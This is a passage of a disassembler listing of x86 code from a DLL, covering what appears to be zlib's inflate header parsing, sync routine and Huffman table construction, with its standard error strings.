loc_100041B7:				; CODE XREF: sub_10004128+86j
		mov	esi, edi
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		mov	edx, [ebx]
		inc	dword ptr [ebx]
		mov	cl, [edx]
		xor	edx, edx
		mov	dl, cl
		mov	eax, [ebx+1Ch]
		mov	[eax+4], edx
		and	edx, 0Fh
		cmp	edx, 8
		jz	short loc_100041F3
		mov	dword ptr [eax], 0Dh
		mov	dword ptr [ebx+18h], offset aUnknownCompres ; "unknown compression method"
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_100041F3:				; CODE XREF: sub_10004128+ADj
		mov	eax, [ebx+1Ch]
		mov	edx, [eax+4]
		shr	edx, 4
		add	edx, 8
		cmp	edx, [eax+10h]
		jbe	short loc_10004220
		mov	dword ptr [eax], 0Dh
		mov	dword ptr [ebx+18h], offset aInvalidWindowS ; "invalid window size"
		mov	ecx, [ebx+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_10004220:				; CODE XREF: sub_10004128+DAj
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax], 1


loc_10004229:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 1
		jnz	short loc_10004236
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004236:				; CODE XREF: sub_10004128+105j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	edx, edx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	ebp, [ebx+1Ch]
		mov	cl, [eax]
		and	ecx, 0FFh
		mov	eax, [ebp+4]
		shl	eax, 8
		push	ecx
		add	eax, ecx
		mov	ecx, 1Fh
		div	ecx
		pop	ecx
		test	edx, edx
		jz	short loc_10004281
		mov	dword ptr [ebp+0], 0Dh
		mov	dword ptr [ebx+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	ecx, [ebx+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_10004281:				; CODE XREF: sub_10004128+13Aj
		test	cl, 20h
		jnz	short loc_10004294
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax], 7
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_10004294:				; CODE XREF: sub_10004128+15Cj
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 2


loc_1000429D:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 2
		jnz	short loc_100042AA
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_100042AA:				; CODE XREF: sub_10004128+179j
		mov	esi, edi
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		mov	edx, [ebx]
		inc	dword ptr [ebx]
		mov	cl, [edx]
		xor	edx, edx
		mov	dl, cl
		shl	edx, 18h
		mov	eax, [ebx+1Ch]
		mov	[eax+8], edx
		mov	dword ptr [eax], 3


loc_100042CB:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 3
		jnz	short loc_100042D8
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_100042D8:				; CODE XREF: sub_10004128+1A7j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	ecx, ecx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	dl, [eax]
		mov	eax, [ebx+1Ch]
		mov	cl, dl
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 4


loc_100042FC:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 4
		jnz	short loc_10004309
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004309:				; CODE XREF: sub_10004128+1D8j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	ecx, ecx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	dl, [eax]
		mov	eax, [ebx+1Ch]
		mov	cl, dl
		shl	ecx, 8
		add	[eax+8], ecx
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 5


loc_1000432D:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 5
		jnz	short loc_1000433A
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_1000433A:				; CODE XREF: sub_10004128+209j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	eax, eax
		mov	edx, [ebx]
		inc	dword ptr [ebx]
		mov	cl, [edx]
		mov	edx, [ebx+1Ch]
		mov	al, cl
		add	[edx+8], eax
		mov	ecx, [ebx+1Ch]
		mov	eax, [ecx+8]
		mov	[ebx+30h], eax
		mov	eax, 2
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 6
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_1000436C:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		mov	edx, [ebx+1Ch]	; jumptable 1000416B case 6
		mov	dword ptr [edx], 0Dh
		mov	dword ptr [ebx+18h], offset aNeedDictionary ; "need dictionary"
		mov	ecx, [ebx+1Ch]
		xor	eax, eax
		mov	[ecx+4], eax
		mov	eax, 0FFFFFFFEh
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_1000438E:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		mov	edx, [ebx+1Ch]	; jumptable 1000416B case 7
		mov	eax, [edx+14h]
		mov	ecx, esi
		mov	edx, ebx
		call	sub_10004F78
		mov	esi, eax
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_100043B7
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax], 0Dh
		xor	edx, edx
		mov	[eax+4], edx
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_100043B7:				; CODE XREF: sub_10004128+27Aj
		test	esi, esi
		jnz	short loc_100043BD
		mov	esi, edi


loc_100043BD:				; CODE XREF: sub_10004128+291j
		cmp	esi, 1
		jz	short loc_100043C9
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_100043C9:				; CODE XREF: sub_10004128+298j
		mov	esi, edi
		mov	eax, [ebx+1Ch]
		mov	ecx, eax
		add	ecx, 4
		mov	eax, [eax+14h]
		mov	edx, ebx
		call	sub_10004E7C
		mov	eax, [ebx+1Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_100043F1
		mov	dword ptr [eax], 0Ch
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_100043F1:				; CODE XREF: sub_10004128+2BCj
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 8


loc_100043FA:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 8
		jnz	short loc_10004407
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004407:				; CODE XREF: sub_10004128+2D6j
		mov	esi, edi
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		mov	edx, [ebx]
		inc	dword ptr [ebx]
		mov	cl, [edx]
		xor	edx, edx
		mov	dl, cl
		shl	edx, 18h
		mov	eax, [ebx+1Ch]
		mov	[eax+8], edx
		mov	dword ptr [eax], 9


loc_10004428:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 9
		jnz	short loc_10004435
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004435:				; CODE XREF: sub_10004128+304j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	ecx, ecx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	dl, [eax]
		mov	eax, [ebx+1Ch]
		mov	cl, dl
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 0Ah


loc_10004459:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 10
		jnz	short loc_10004466
		mov	eax, esi
		jmp	loc_100044EF
; ---------------------------------------------------------------------------


loc_10004466:				; CODE XREF: sub_10004128+335j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	ecx, ecx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	dl, [eax]
		mov	eax, [ebx+1Ch]
		mov	cl, dl
		shl	ecx, 8
		add	[eax+8], ecx
		mov	edx, [ebx+1Ch]
		mov	dword ptr [edx], 0Bh


loc_1000448A:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		cmp	dword ptr [ebx+4], 0 ; jumptable 1000416B case 11
		jnz	short loc_10004494
		mov	eax, esi
		jmp	short loc_100044EF
; ---------------------------------------------------------------------------


loc_10004494:				; CODE XREF: sub_10004128+366j
		dec	dword ptr [ebx+4]
		inc	dword ptr [ebx+8]
		xor	ecx, ecx
		mov	eax, [ebx]
		mov	esi, edi
		inc	dword ptr [ebx]
		mov	dl, [eax]
		mov	eax, [ebx+1Ch]
		mov	cl, dl
		add	[eax+8], ecx
		mov	eax, [ebx+1Ch]
		mov	edx, [eax+4]
		cmp	edx, [eax+8]
		jz	short loc_100044D3
		mov	dword ptr [eax], 0Dh
		mov	dword ptr [ebx+18h], offset aIncorrectDataC ; "incorrect data check"
		mov	ecx, [ebx+1Ch]
		mov	dword ptr [ecx+4], 5
		jmp	loc_1000415D
; ---------------------------------------------------------------------------


loc_100044D3:				; CODE XREF: sub_10004128+38Dj
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax], 0Ch


loc_100044DC:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		mov	eax, 1		; jumptable 1000416B case 12
		jmp	short loc_100044EF
; ---------------------------------------------------------------------------


loc_100044E3:				; CODE XREF: sub_10004128+43j
					; DATA XREF: sub_10004128:off_10004172o
		mov	eax, 0FFFFFFFDh	; jumptable 1000416B case 13
		jmp	short loc_100044EF
; ---------------------------------------------------------------------------


loc_100044EA:				; CODE XREF: sub_10004128+3Dj
		mov	eax, 0FFFFFFFEh	; default


loc_100044EF:				; CODE XREF: sub_10004128+1Cj
					; sub_10004128+8Aj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10004128	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	esi, ebp
		test	ebx, ebx
		jz	short loc_10004512
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_10004512
		mov	eax, [ebx+1Ch]
		cmp	dword ptr [eax], 6
		jz	short loc_10004519


loc_10004512:				; CODE XREF: CODE:10004502j
					; CODE:10004508j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_10004574
; ---------------------------------------------------------------------------


loc_10004519:				; CODE XREF: CODE:10004510j
		mov	ecx, ebp
		mov	edx, edi
		mov	eax, 1
		call	sub_10004D50
		cmp	eax, [ebx+30h]
		jz	short loc_10004533
		mov	eax, 0FFFFFFFDh
		jmp	short loc_10004574
; ---------------------------------------------------------------------------


loc_10004533:				; CODE XREF: CODE:1000452Aj
		mov	dword ptr [ebx+30h], 1
		mov	eax, [ebx+1Ch]
		mov	ecx, [eax+10h]
		mov	edx, 1
		shl	edx, cl
		cmp	esi, edx
		jb	short loc_1000455D
		mov	edx, [ebx+1Ch]
		mov	ecx, [edx+10h]
		mov	esi, 1
		shl	esi, cl
		dec	esi
		sub	ebp, esi
		add	edi, ebp


loc_1000455D:				; CODE XREF: CODE:10004549j
		mov	eax, [eax+14h]
		mov	ecx, esi
		mov	edx, edi
		call	sub_10005C70
		mov	eax, [ebx+1Ch]
		mov	dword ptr [eax], 7
		xor	eax, eax


loc_10004574:				; CODE XREF: CODE:10004517j
					; CODE:10004531j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_1000458B
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_10004595


loc_1000458B:				; CODE XREF: CODE:10004583j
		mov	eax, 0FFFFFFFEh
		jmp	loc_10004625
; ---------------------------------------------------------------------------


loc_10004595:				; CODE XREF: CODE:10004589j
		mov	eax, [ebx+1Ch]
		cmp	dword ptr [eax], 0Dh
		jz	short loc_100045A8
		mov	dword ptr [eax], 0Dh
		xor	edx, edx
		mov	[eax+4], edx


loc_100045A8:				; CODE XREF: CODE:1000459Bj
		mov	esi, [ebx+4]
		test	esi, esi
		jnz	short loc_100045B6
		mov	eax, 0FFFFFFFBh
		jmp	short loc_10004625
; ---------------------------------------------------------------------------


loc_100045B6:				; CODE XREF: CODE:100045ADj
		mov	edi, [ebx]
		mov	eax, [ebx+1Ch]
		mov	eax, [eax+4]
		jmp	short loc_100045E0
; ---------------------------------------------------------------------------


loc_100045C0:				; CODE XREF: CODE:100045E7j
		mov	dl, [edi]
		cmp	dl, ds:byte_100084A0[eax]
		jnz	short loc_100045CD
		inc	eax
		jmp	short loc_100045DE
; ---------------------------------------------------------------------------


loc_100045CD:				; CODE XREF: CODE:100045C8j
		test	dl, dl
		jz	short loc_100045D5
		xor	eax, eax
		jmp	short loc_100045DE
; ---------------------------------------------------------------------------


loc_100045D5:				; CODE XREF: CODE:100045CFj
		mov	edx, 4
		sub	edx, eax
		mov	eax, edx


loc_100045DE:				; CODE XREF: CODE:100045CBj
					; CODE:100045D3j
		inc	edi
		dec	esi


loc_100045E0:				; CODE XREF: CODE:100045BEj
		test	esi, esi
		jz	short loc_100045E9
		cmp	eax, 4
		jb	short loc_100045C0


loc_100045E9:				; CODE XREF: CODE:100045E2j
		mov	ecx, edi
		sub	ecx, [ebx]
		add	[ebx+8], ecx
		mov	[ebx], edi
		mov	[ebx+4], esi
		cmp	eax, 4
		mov	edx, [ebx+1Ch]
		mov	[edx+4], eax
		jz	short loc_10004607
		mov	eax, 0FFFFFFFDh
		jmp	short loc_10004625
; ---------------------------------------------------------------------------


loc_10004607:				; CODE XREF: CODE:100045FEj
		mov	esi, [ebx+8]
		mov	edi, [ebx+14h]
		mov	eax, ebx
		call	sub_10003F84
		mov	[ebx+8], esi
		mov	[ebx+14h], edi
		mov	edx, [ebx+1Ch]
		xor	eax, eax
		mov	dword ptr [edx], 7


loc_10004625:				; CODE XREF: CODE:10004590j
					; CODE:100045B4j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
		test	eax, eax
		jz	short loc_1000463F
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_1000463F
		mov	edx, [eax+1Ch]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_10004645


loc_1000463F:				; CODE XREF: CODE:1000462Ej
					; CODE:10004634j
		mov	eax, 0FFFFFFFEh
		retn
; ---------------------------------------------------------------------------


loc_10004645:				; CODE XREF: CODE:1000463Dj
		mov	ecx, [eax+1Ch]
		mov	eax, [ecx+14h]
		call	sub_10005C94
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004654	proc near		; CODE XREF: sub_10004B48+5Ap
					; sub_10004BE4+63p ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_C8		= dword	ptr -0C8h
var_8C		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8C]
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		add	[ebp+var_28], 4
		mov	eax, [ebp+var_28]
		xor	edx, edx
		mov	[eax], edx
		add	[ebp+var_28], 4
		mov	ecx, [ebp+var_28]
		xor	eax, eax
		mov	[ecx], eax
		add	[ebp+var_28], 4
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		add	[ebp+var_28], 4
		mov	eax, [ebp+var_28]
		xor	edx, edx
		mov	[eax], edx
		add	[ebp+var_28], 4
		mov	ecx, [ebp+var_28]
		xor	eax, eax
		mov	[ecx], eax
		add	[ebp+var_28], 4
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		add	[ebp+var_28], 4
		mov	eax, [ebp+var_28]
		xor	edx, edx
		mov	[eax], edx
		add	[ebp+var_28], 4
		mov	ecx, [ebp+var_28]
		xor	eax, eax
		mov	[ecx], eax
		add	[ebp+var_28], 4
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		add	[ebp+var_28], 4
		mov	eax, [ebp+var_28]
		xor	edx, edx
		mov	[eax], edx
		add	[ebp+var_28], 4
		mov	ecx, [ebp+var_28]
		xor	eax, eax
		mov	[ecx], eax
		add	[ebp+var_28], 4
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		add	[ebp+var_28], 4
		mov	eax, [ebp+var_28]
		xor	edx, edx
		mov	[eax], edx
		add	[ebp+var_28], 4
		mov	ecx, [ebp+var_28]
		xor	eax, eax
		mov	[ecx], eax
		add	[ebp+var_28], 4
		mov	edx, [ebp+var_28]
		xor	ecx, ecx
		mov	[edx], ecx
		mov	eax, [ebp+var_4]
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], edx


loc_10004729:				; CODE XREF: sub_10004654+E8j
		mov	ecx, [ebp+var_28]
		mov	eax, [ecx]
		inc	[ebp+eax*4+var_8C]
		add	[ebp+var_28], 4
		dec	[ebp+var_1C]
		jnz	short loc_10004729
		mov	edx, [ebp+var_8C]
		cmp	edx, [ebp+var_8]
		jnz	short loc_1000475E
		mov	ecx, [ebp+arg_10]
		xor	eax, eax
		mov	[ecx], eax
		xor	ecx, ecx
		mov	edx, [ebp+arg_C]
		xor	eax, eax
		mov	[edx], ecx
		jmp	loc_10004B3F
; ---------------------------------------------------------------------------


loc_1000475E:				; CODE XREF: sub_10004654+F3j
		mov	edx, [ebp+arg_C]
		mov	eax, 1
		mov	ecx, [edx]
		lea	edx, [ebp+var_88]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_40], edx


loc_10004774:				; CODE XREF: sub_10004654+130j
		mov	ecx, [ebp+var_40]
		cmp	dword ptr [ecx], 0
		jnz	short loc_10004786
		inc	eax
		add	[ebp+var_40], 4
		cmp	eax, 0Fh
		jbe	short loc_10004774


loc_10004786:				; CODE XREF: sub_10004654+126j
		mov	[ebp+var_20], eax
		cmp	eax, [ebp+var_24]
		jbe	short loc_10004791
		mov	[ebp+var_24], eax


loc_10004791:				; CODE XREF: sub_10004654+138j
		mov	[ebp+var_1C], 0Fh
		lea	edx, [ebp+var_50]
		mov	[ebp+var_44], edx


loc_1000479E:				; CODE XREF: sub_10004654+15Dj
		mov	ecx, [ebp+var_44]
		cmp	dword ptr [ecx], 0
		jnz	short loc_100047B3
		dec	[ebp+var_1C]
		add	[ebp+var_44], 0FFFFFFFCh
		cmp	[ebp+var_1C], 0
		jnz	short loc_1000479E


loc_100047B3:				; CODE XREF: sub_10004654+150j
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	ecx, [ebp+var_24]
		cmp	ecx, [ebp+var_1C]
		jbe	short loc_100047C7
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_24], edx


loc_100047C7:				; CODE XREF: sub_10004654+16Bj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_24]
		mov	[ecx], edx
		mov	ecx, eax
		mov	edx, 1
		shl	edx, cl
		mov	[ebp+var_3C], edx
		lea	ecx, [ebp+eax*4+var_8C]
		mov	[ebp+var_44], ecx
		cmp	eax, [ebp+var_1C]
		jnb	short loc_10004810


loc_100047EA:				; CODE XREF: sub_10004654+1BAj
		mov	edx, [ebp+var_44]
		mov	ecx, [ebp+var_3C]
		sub	ecx, [edx]
		mov	[ebp+var_3C], ecx
		test	ecx, ecx
		jge	short loc_10004803
		mov	eax, 0FFFFFFFDh
		jmp	loc_10004B3F
; ---------------------------------------------------------------------------


loc_10004803:				; CODE XREF: sub_10004654+1A3j
		add	[ebp+var_44], 4
		shl	[ebp+var_3C], 1
		inc	eax
		cmp	eax, [ebp+var_1C]
		jb	short loc_100047EA


loc_10004810:				; CODE XREF: sub_10004654+194j
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_3C]
		sub	eax, [ebp+edx*4+var_8C]
		mov	[ebp+var_3C], eax
		test	eax, eax
		jge	short loc_1000482E
		mov	eax, 0FFFFFFFDh
		jmp	loc_10004B3F
; ---------------------------------------------------------------------------


loc_1000482E:				; CODE XREF: sub_10004654+1CEj
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+var_3C]
		add	[ebp+edx*4+var_8C], ecx
		xor	edx, edx
		mov	[ebp+var_104], edx
		lea	ecx, [ebp+var_88]
		mov	[ebp+var_28], ecx
		lea	ecx, [ebp+var_100]
		mov	eax, edx
		jmp	short loc_10004864
; ---------------------------------------------------------------------------


loc_10004856:				; CODE XREF: sub_10004654+213j
		mov	edx, [ebp+var_28]
		add	[ebp+var_28], 4
		add	eax, [edx]
		mov	[ecx], eax
		add	ecx, 4


loc_10004864:				; CODE XREF: sub_10004654+200j
		dec	[ebp+var_1C]
		jnz	short loc_10004856
		mov	eax, [ebp+var_4]
		mov	[ebp+var_28], eax
		xor	eax, eax
		mov	[ebp+var_1C], eax


loc_10004874:				; CODE XREF: sub_10004654+24Dj
		mov	edx, [ebp+var_28]
		add	[ebp+var_28], 4
		mov	eax, [edx]
		test	eax, eax
		jz	short loc_10004898
		mov	ecx, [ebp+eax*4+var_108]
		inc	[ebp+eax*4+var_108]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[eax+ecx*4], edx


loc_10004898:				; CODE XREF: sub_10004654+22Bj
		inc	[ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [ebp+var_8]
		jb	short loc_10004874
		mov	eax, [ebp+var_14]
		mov	edx, [ebp+eax*4+var_108]
		mov	[ebp+var_8], edx
		xor	ecx, ecx
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_108], ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	edx, [ebp+var_24]
		neg	edx
		mov	[ebp+var_38], edx
		xor	eax, eax
		mov	[ebp+var_C8], eax
		xor	edx, edx
		mov	[ebp+var_2C], edx
		xor	esi, esi
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+eax*4+var_8C]
		mov	[ebp+var_44], edx
		mov	ecx, [ebp+var_20]
		cmp	ecx, [ebp+var_14]
		jg	loc_10004B2B


loc_100048F8:				; CODE XREF: sub_10004654+4D1j
		mov	eax, [ebp+var_44]
		mov	edx, [eax]
		mov	[ebp+var_10], edx
		jmp	loc_10004B09
; ---------------------------------------------------------------------------


loc_10004905:				; CODE XREF: sub_10004654+4BEj
		mov	ecx, [ebp+var_18]
		lea	eax, [ebp+ecx*4+var_108]
		mov	[ebp+var_4C], eax
		mov	edx, [ebp+var_18]
		lea	ecx, [ebp+edx*4+var_C8]
		mov	[ebp+var_48], ecx
		jmp	loc_10004A10
; ---------------------------------------------------------------------------


loc_10004924:				; CODE XREF: sub_10004654+3C5j
		inc	[ebp+var_18]
		add	[ebp+var_4C], 4
		add	[ebp+var_48], 4
		mov	eax, [ebp+var_24]
		add	[ebp+var_38], eax
		mov	esi, [ebp+var_14]
		sub	esi, [ebp+var_38]
		cmp	esi, [ebp+var_24]
		jbe	short loc_10004945
		mov	eax, [ebp+var_24]
		jmp	short loc_10004947
; ---------------------------------------------------------------------------


loc_10004945:				; CODE XREF: sub_10004654+2EAj
		mov	eax, esi


loc_10004947:				; CODE XREF: sub_10004654+2EFj
		mov	esi, eax
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_38]
		mov	edx, 1
		mov	ecx, eax
		mov	ebx, [ebp+var_10]
		shl	edx, cl
		inc	ebx
		cmp	edx, ebx
		jbe	short loc_10004986
		sub	edx, ebx
		mov	ecx, [ebp+var_20]
		shl	ecx, 2
		lea	ebx, [ebp+var_8C]
		add	ecx, ebx
		cmp	esi, eax
		jbe	short loc_10004986
		jmp	short loc_10004981
; ---------------------------------------------------------------------------


loc_10004976:				; CODE XREF: sub_10004654+330j
		add	edx, edx
		add	ecx, 4
		cmp	edx, [ecx]
		jbe	short loc_10004986
		sub	edx, [ecx]


loc_10004981:				; CODE XREF: sub_10004654+320j
		inc	eax
		cmp	esi, eax
		ja	short loc_10004976


loc_10004986:				; CODE XREF: sub_10004654+30Aj
					; sub_10004654+31Ej ...
		mov	ecx, eax
		mov	esi, 1
		shl	esi, cl
		mov	edx, [ebp+arg_4]
		mov	edx, [edx]
		mov	ecx, edx
		add	ecx, esi
		cmp	ecx, 5A0h
		jbe	short loc_100049AA
		mov	eax, 0FFFFFFFCh
		jmp	loc_10004B3F
; ---------------------------------------------------------------------------


loc_100049AA:				; CODE XREF: sub_10004654+34Aj
		shl	edx, 3
		add	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		mov	ecx, [ebp+var_48]
		mov	[ecx], edx
		mov	edx, [ebp+arg_4]
		add	[edx], esi
		cmp	[ebp+var_18], 0
		jz	short loc_10004A08
		mov	ecx, [ebp+var_4C]
		mov	edx, [ebp+var_1C]
		mov	[ecx], edx
		mov	cl, byte ptr [ebp+var_24]
		mov	byte ptr [ebp+var_34+1], cl
		mov	byte ptr [ebp+var_34], al
		mov	ecx, [ebp+var_38]
		sub	ecx, [ebp+var_24]
		mov	eax, [ebp+var_1C]
		shr	eax, cl
		mov	edx, [ebp+var_48]
		mov	edx, [edx-4]
		mov	ecx, [ebp+var_2C]
		sub	ecx, edx
		test	ecx, ecx
		jns	short loc_100049F1
		add	ecx, 7


loc_100049F1:				; CODE XREF: sub_10004654+398j
		sar	ecx, 3
		sub	ecx, eax
		mov	[ebp+var_30], ecx
		mov	ecx, [ebp+var_34]
		mov	[edx+eax*8], ecx
		mov	ecx, [ebp+var_30]
		mov	[edx+eax*8+4], ecx
		jmp	short loc_10004A10
; ---------------------------------------------------------------------------


loc_10004A08:				; CODE XREF: sub_10004654+36Dj
		mov	eax, [ebp+arg_10]
		mov	edx, [ebp+var_2C]
		mov	[eax], edx


loc_10004A10:				; CODE XREF: sub_10004654+2CBj
					; sub_10004654+3B2j
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jl	loc_10004924
		mov	dl, byte ptr [ebp+var_20]
		sub	dl, byte ptr [ebp+var_38]
		mov	byte ptr [ebp+var_34+1], dl
		mov	ecx, [ebp+var_8]
		shl	ecx, 2
		add	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_28]
		ja	short loc_10004A3C
		mov	byte ptr [ebp+var_34], 0C0h
		jmp	short loc_10004A84
; ---------------------------------------------------------------------------


loc_10004A3C:				; CODE XREF: sub_10004654+3E0j
		mov	eax, [ebp+var_28]
		mov	eax, [eax]
		cmp	eax, [ebp+var_C]
		jnb	short loc_10004A63
		xor	edx, edx
		cmp	eax, 100h
		jb	short loc_10004A52
		add	edx, 60h


loc_10004A52:				; CODE XREF: sub_10004654+3F9j
		mov	byte ptr [ebp+var_34], dl
		mov	ecx, [ebp+var_28]
		mov	eax, [ecx]
		mov	[ebp+var_30], eax
		add	[ebp+var_28], 4
		jmp	short loc_10004A84
; ---------------------------------------------------------------------------


loc_10004A63:				; CODE XREF: sub_10004654+3F0j
		mov	edx, [ebp+var_28]
		mov	eax, [edx]
		sub	eax, [ebp+var_C]
		mov	edx, [ebp+arg_14]
		mov	cl, [edx+eax*4]
		add	cl, 50h
		mov	byte ptr [ebp+var_34], cl
		mov	edx, [ebp+arg_18]
		mov	eax, [edx+eax*4]
		mov	[ebp+var_30], eax
